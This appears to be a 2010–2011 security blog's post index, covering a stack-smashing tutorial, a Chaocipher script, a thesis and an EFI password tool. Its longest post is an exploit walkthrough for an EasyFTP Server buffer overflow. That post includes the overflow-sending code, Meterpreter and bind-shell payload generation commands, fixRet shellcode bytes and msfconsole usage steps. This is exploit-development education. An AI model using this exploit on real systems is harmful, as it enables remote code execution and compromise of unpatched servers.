Smashing the Stack in 2011

January 25, 2011 34 comments

Recently, as part of Professor Brumley‘s Vulnerability, Defense Systems, and Malware Analysis class at Carnegie Mellon, I took another look at Aleph One (Elias Levy)’s Smashing the Stack for Fun and Profit article which had originally appeared in Phrack and on Bugtraq in November of 1996.  Newcomers to exploit development are often still referred (and rightly so) to Aleph’s paper.  Smashing the Stack was the first lucid tutorial on the topic of exploiting stack based buffer overflow vulnerabilities.  Perhaps even more important was Smashing the Stack‘s ability to force the reader to think like an attacker.  While the specifics mentioned in the paper apply only to stack based buffer overflows, the thought process that Aleph suggested to the reader is one that will yield success in any type of exploit development.

(Un)fortunately for today’s would be exploit developer, much has changed since 1996, and unless Aleph’s tutorial is carried out with additional instructions or on a particularly old machine, some of the exercises presented in Smashing the Stack will no longer work.  There are a number of reasons for this, some incidental, some intentional.  I attempt to enumerate the intentional hurdles here and provide instruction for overcoming some of the challenges that fifteen years of exploit defense research has presented to the attacker.  An effort is made to maintain the tutorial feel of Aleph’s article.

Read more…

Chaocipher: Now with ASCII Support

July 7, 2010 Comments off

There was a story on Slashdot last weekend about a cipher invented in 1918: the Chaocipher.

In summary: John F. Byrne invented a two wheel enciphering device.  He tried, unsuccessfully, to sell the idea to the Navy and the U.S. Signal Corp.  During his lifetime, he revealed the secret of the Chaocipher to only three people.  His daughter-in-law wasn’t as committed to secrecy: she recently donated the machine to the National Cryptologic Museum, allowing for public scrutiny.

Despite receiving criticism for keeping the workings of the cipher a secret (a major no-no in cryptographic study), the coverage suggests that at least some cryptographers believed the cipher to be at least as strong as Enigma.  Enigma operated on anywhere between three and eight wheels, depending on model.

Moshe Rubin published an excellent whitepaper on the device and I thought it might be fun to implement the cipher in software.  The whitepaper includes an implementation in Perl which I found entirely too confusing and entirely too removed from the mechanical implementation, so I wrote my own.  I have a strange idea of fun.  And yes I went out for the 4th of July.

Before you read any further, it would help to read Moshe’s paper linked above.

The Chaocipher supported 26 characters (the English alphabet, single case).

My implementation adds the following:

  • full printable ASCII* support — it should be trivial to modify for Unicode support
  • keyfile support (format: <initial CT alphabet><NULL byte><initial PT alphabet>)

*Technically it’s all ASCII characters numbered between 9 and 126 (decimal).

Considering the secret in the Chaocipher scheme is the initial configuration of the ciphertext (CT) and plaintext (PT) alphabets, it made sense to record these in some sort of keyfile.  The keyfile would be the secret in secure communications employing chaocipher and would presumably be communicated out of band.  Considering I wanted to support all printable ASCII characters including whitespace, I used a NULL byte as a separator between the CT and PT alphabets in the keyfile.  The keyfile is flexible in that the supported character set is that which is defined.  As such, it’s entirely possible to encrypt the example used in Moshe’s paper using the original 26 character set.  A file is linked below to facilitate.  Side note: I used Ghex to create the example keyfile, but any hex editor should do, considering a NULL byte must be written.

The script supports the following actions:

  • encryption with a specified keyfile
  • encryption with randomly generated alphabets*
  • decryption with a specified keyfile

*If no keyfile is specified during encryption, one is created using the kernel’s PRNG and written to a timestamped location in the working directory.

Examples:

./chaocipher.py -k chaocipher_example -e “WELLDONEISBETTERTHANWELLSAID”
PT: WELLDONEISBETTERTHANWELLSAID
CT: T0FIUUhDTllOWFRTWkpSUkhKQllIUUtTT1VKWQ== (base64 encoded)

./chaocipher.py -k chaocipher_example -d “T0FIUUhDTllOWFRTWkpSUkhKQllIUUtTT1VKWQ==”

PT: WELLDONEISBETTERTHANWELLSAID
CT: T0FIUUhDTllOWFRTWkpSUkhKQllIUUtTT1VKWQ== (base64 encoded)

./chaocipher.py -e “WELLDONEISBETTERTHANWELLSAID”

[*] no keyfile specified; generating one at /home/myhndl/mymiscprojects/chaocipher_07-07-2010_23-05-12
PT: WELLDONEISBETTERTHANWELLSAID
CT: emdXJUZ9Pg8cGgwgWTwqVngKUHRoVU5EUh18MQ== (base64 encoded)

./chaocipher.py -k chaocipher_07-07-2010_23-05-12 -d “emdXJUZ9Pg8cGgwgWTwqVngKUHRoVU5EUh18MQ==”

PT: WELLDONEISBETTERTHANWELLSAID
CT: emdXJUZ9Pg8cGgwgWTwqVngKUHRoVU5EUh18MQ== (base64 encoded)

Here’s the files:

Woohoo! I Graduated. Here’s my thesis.

June 29, 2010 2 comments

I’ve been busy with a lot of things lately, but figured I should probably post my final undergraduate thesis in case it is useful for someone interested in information assurance.  I’ve added my final thesis document as well as links to my delivered product (source code, .deb installers) in the Undergraduate Thesis link above.

One item I had some difficulty with was utilizing the TPM via the TrouSers API due in large part to very few public projects making use of it.  More often than not I found myself reverse engineering the TrouSers testsuite – which is a great reference, don’t get me wrong.

I’ve licensed all my code under GPLv2, so feel free to build upon it and use it as a reference.  Hopefully some will find it useful in developing their own TrouSers applications.  The rest of the code is fairly TRECC-specific, but does a number of things that may be useful elsewhere (e.g. dumping the virtual address space of a target process in C via ptrace(), communicating between C utilities and Python via a sqlite3 database, etc).

Enjoy!

Senior Thesis (TRECC) Presentations

May 8, 2010 Comments off

Update: I’ve moved all these materials to their own page for easy reference.

Metasploit Plugin for EasyFTP Server Exploit

April 19, 2010 Comments off

Update: The module has been added to the Metasploit tree.  Thanks to jduck for cleaning it up and generalizing it!  View here; now just use svn update to get the module.

In my previous post, I detailed my efforts and solution to injecting a Meterpreter payload into a buffer of size 260B.  I mentioned that if I had the time, I would try to port the exploit to Metasploit itself, considering I had targeted my technique for the Metasploit-specific payload anyways.

I found some time and have made my plugin available below.  There’s several things that can be improved in this exploit:

  • rewrite the fixRet to occupy less space and to use metasm to compile it on the fly
  • use JMP ESP/EBP type addresses to help with porting to other versions of Windows

EasyFTP Server is an obscure FTP server, which makes it great for playing around with memory corruption vulnerabilities, but probably isn’t something anyone is going to see in a pentest any time soon.  I decided against spending the time required to generalize the exploit to versions of Windows beyond XP SP3 English and EasyFTP versions beyond 1.7.0.2.  I ported the exploit as an exercise and also in the hopes that someone may find my experience helpful should they try something similar.

I tested the exploit module against Metasploit 3.4.0-dev, r9112.  If its failing on an older version, try upgrading first.

Get easyftp_cwd_fixret.rb (put it in [your_metasploit_dir]/modules/exploits/windows/ftp)

Cheat sheet:

$ ./msfconsole
use windows/ftp/easyftp_cwd_fixret
set RHOST [target's IP address]
set PAYLOAD [your_payload]
[set options applicable to your payload]
exploit

Increasing Payload Size w/ Return Address Overwrite

February 28, 2010 7 comments

While perusing Bugtraq recently, I came across Jon Butler’s Proof of Concept (PoC) exploit for Easy FTP Server 1.7.0.2, an obscure FTP server.  I’m no expert on exploit development, but it is something I’ve been trying to spend more time on lately.  For practice, I decided to try to modify Jon’s exploit for a more interesting payload (all the public exploits I’ve seen launch calc.exe).  I figured this would only take a few minutes, but things got a little complicated due to the somewhat small size of the buffer over which I had control (268 bytes).  After the jump, I explain how I overcame the limited space problem and reworked Jon’s exploit with a Meterpreter payload (326 bytes).  Debugging experience and a basic understanding of stack based buffer overflow exploitation are required.

Get my exploit (RCE_easy_ftp_server_1.7.0.2.py)

How do we trigger the vulnerability? From Jon’s PoC:

Lack of input length checks for the CWD command result in a buffer
overflow vulnerability, allowing the execution of arbitrary code
by a remote attacker.

Jon gets to the vulnerable code and attacks it (anon access is enabled by default):

s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
# Send payload...
print "[+] Sending payload..."
s.send('CWD ' + payload + '\r\n')

How much space do we have for our payload (shellcode) before the return address? Again, Jon already did the work for us:

nopsled = "\x90" * (268 - len(shellcode))

268 bytes is enough space to launch calc.exe, add a user account and some other items available to standard Metasploit payloads, but it is insufficient for something more exciting like a bind_tcp or Meterpreter payload:

$ ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)
[...snip...]

$ ./msfpayload windows/meterpreter/bind_tcp R | ./msfencode -b \
"\x00\x0a\x0d\xff\x2f\x5c"
[*] x86/shikata_ga_nai succeeded with size 326 (iteration=1)

The Problem: How do we increase the amount of space available for our payload?

Referencing Jon’s PoC, one can easily deduce that Easy FTP Server wasn’t compiled with any stack protection (e.g. the /GS switch).  Jon worked against a x86 XPSP3 target (as did I), which means software DEP/SafeSEH operates on a whitelist by default (essential Windows services only); ASLR is nonexistent. and isn’t a concern anyways since Jon returns to an address on the (eXecutable) stack – no need for even a JMP address here.  Note: a JMP address would be more reliable when targeting different Windows versions, and will be something I will look into should I decide to generalize this exploit.

First, let’s take a look at Jon’s return address:

ret = "\x58\xFD\x9A\x00" # 0x009AFD58

The first thing I noticed is that the return address contains a NULL byte (\x00).  Had Easy FTP Server (EFS) employed a function analogous to strcpy(), then EFS would have stopped copying our attack string when it encountered this NULL byte.  Luckily this wasn’t exactly the case; I could write past the NULL byte (more on this later).

Aside: if you weren’t concerned about writing past the return address and Easy FTP Server had employed a strcpy()-like function, then you’re still in luck: thanks to the little-endianness of Intel’s x86 architecture, the NULL byte would appear at the very end of your attack string, making this a non-issue.

I decided to press my luck and attempt to write beyond the NULL byte in the return address (I later found another exploit that would have saved me this trouble).  I replaced Jon’s payload with an INT3 instruction (\xCC).  By inserting the INT3 breakpoint, I was able to examine the stack and determine the amount of bytes I could write beyond ret. Pictured: my nopsled, Jon’s ret & a bunch of ‘A’s (it continues outside of the screenshot, obviously):

I inserted a bunch of 'A's (0x41) after the ret value and conducted a binary search to determine the maximum number I had control over. I'm using Immunity Debugger here.

 

Get the modified code I used to do the above

I determined that I could write no more than 233 ‘A’s past the return address and still have reliable execution:

s.send('CWD ' + payload + 'A' * 233 + '\r\n')

Sweet… another 233 bytes!  Of course at this point I’ve severely smashed the stack and am overwriting the next stack frame.  Luckily, EFS is an FTP server and each connection is handled with a new thread.  Worst case scenario: I crash my thread and the server remains available to other users.  This is a great feature if you’re trying to be sneaky about the whole pwning thing.

So to review, we have 268 bytes before the return address, 4 bytes for the return address and 233 bytes past the return address.  268 + 4 + 233 = 505 bytes… more than enough space for the payloads I’m trying to inject.

Next Problem: Assuming our payload will be positioned at the highest addresses possible (at the end of the area we can write to), the return address will bisect any payload longer than 233 bytes.

It’s a good idea to insert your payload at the end of any buffer you control, particularly for Metasploit-encoded payloads, since they require a certain amount of slack space to decode themselves.  The nopsled doubles as this slack space.  So we must insert an appropriate return address in order to gain execution, but that return address will bisect our payload should our payload be longer than 233 bytes.

Next solution: Modify the return address after we have gained execution.  In order to do this, I wrote some NULL-free assembly that overwrites the return address with 4 bytes of the payload.  I called this tiny function fixRet.

Directly after we send our attack string, the stack will look like this (assuming the payload is longer than 233 bytes):

0x009AFD58                                    0x009AFF51
--------------------------------------------------------
fixRet | nopsled | payload, part1 | ret | payload, part2
--------------------------------------------------------

The payload is bisected by ret and is missing the 4 bytes that ret is occupying.  After fixRet executes, the stack will look like this:

0x009AFD58                                    0x009AFF51
--------------------------------------------------------
fixRet | nopsled | payload..............................
--------------------------------------------------------

At this point I needed to decide what payload to use because I needed to know what I was going to overwrite ret with.  While developing this exploit, I went through many different payloads, but the remaining commentary will assume the windows/meterpreter/bind_tcp windows/meterpreter/meterpreter_bind_tcp payload in my final exploit.  If I find time to rewrite this exploit using Metasploit’s framework, the following gcc / objdump steps will be unnecessary. I did find time to rewrite the exploit; jduck kindly fixed up the fixRet function such that it is dynamically generated by the module.

I’m a nerd, but I don’t enjoy doing x86 binary in my head so I enlisted gcc & objdump to find the hex values required for such a fixRet operation.  (It took me a few minutes to set up objdump on OS X).  I wrote a quick C program, making sure to tell gcc exactly what assembly I wanted in my output.

Excerpt from the C program (download the complete version):

#include <stdlib.h>

int main (void)
{    
 /* clear out 3 registers */
 __asm__("xor %eax, %eax");
 __asm__("xor %ebx, %ebx");
 __asm__("xor %ecx, %ecx");

 /* move 0x009afe64 into EAX without using NULLs */
 __asm__("mov $0xAA3054CE, %eax");
 __asm__("mov $0xAAAAAAAA, %ebx");
 __asm__("xor %ebx, %eax");

 /* write shellcode into ret's address */
 __asm__("mov $0xAEE0E45F, %ecx"); // meterpreter_bind_tcp
 __asm__("mov %ecx, (%eax)");
}

Remember when I said that I could write past the NULL in the return address and there would be more on this later?  Well, I could write after the NULL in ret, but could not have any NULLs before said address.  My guess is that the logic behind the vulnerable CWD command checks for NULLs in its buffer after the entire buffer has been written, rather than on the fly.  Such logic would allow us to write NULLs over the return address (because the function would not think to look there), but wouldn’t allow us to write NULLs prior to the return address (because the vulnerable function would error out and the thread would be killed).

The above C program does what we need it to do without using any NULLs.  I got around this by zeroing the registers with XOR and having the exploited process “fix” the address of ret (by simply XORing it with all A’s).  The ret value lives at 0x009AFE64 = 0xAAAAAAAA (XOR) 0xAA3054CE.

I translated this into hex values for our attack string (gcc compiles & assembles, objdump disassembles):

gcc -O0 RCE_easy_ftp_server_1.7.0.2.c -o fix_ret
objdump -d fix_ret

After running the program through gcc and objdump, I got my hex values (look at the main section):

31 c0                    xor    %eax,%eax
31 db                    xor    %ebx,%ebx
31 c9                    xor    %ecx,%ecx
b8 ce 54 30 aa           mov    $0xaa3054ce,%eax
bb aa aa aa aa           mov    $0xaaaaaaaa,%ebx
31 d8                    xor    %ebx,%eax
b9 5f e4 e0 ae           mov    $0xaee0e45f,%ecx
89 08                    mov    %ecx,(%eax)

Now we have fixRet, we can easily calculate our nopsled and of course we know ret and our payload.  We’re done!

I could explain more, but it would probably make more sense to get the code and attempt exploitation yourself.

Get my exploit (RCE_easy_ftp_server_1.7.0.2.py)

I included everything necessary for injecting a meterpreter/bind_tcp payload and a shell_bind_tcp payload, both operating over port 4444.  The bind_tcp payload items are commented out.

Using the exploit (assuming meterpreter/bind_tcp payload):

(start Easy FTP Server 1.7.0.2 on victim machine)
./RCE_easy_ftp_server_1.7.0.2.py -t (victim IP) -p 21
msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST (victim IP)
exploit

After the meterpreter dll is injected, you should have a working session :P

As always, comments are appreciated.  If I have time I’ll make this into a proper Metasploit module… none of this gcc / objdump silliness. I did find time to rewrite the exploit; jduck kindly fixed up the fixRet function such that it is dynamically generated by the module.

efipw v0.2b Released

February 11, 2010 7 comments

Small update.  A few changes since v0.2:

  • if new password is set and mode is not, default mode to “command” (this will cause password to be enforced rather than ignored)
  • clarified usage
  • added ‘-c’ option

If you were getting a message like this:

sudo: ./efipw_0.2b.py: command not found

it’s because you hadn’t flagged the file as executable.  I neglected to mention this in the instructions before, but it’s in there now.  If you’re getting the above, just run:

chmod +x ./efipw*

…assuming efipw is in your working directory, of course.

I’ve also added a ‘-c’ option that disables the EFI password properly (or at least the way Apple does it).  When an EFI password is cleared with Apple’s GUI utility, ‘none’ is written to nvram as the password and the ‘none’ mode is selected.  Rather than forcing people to specify ‘none’ for both fields themselves, users can just do:

sudo ./efipw* -c

to disable the EFI password properly.

Get efipw

Comments/suggestions/bugs welcome.

Follow

Get every new post delivered to your Inbox.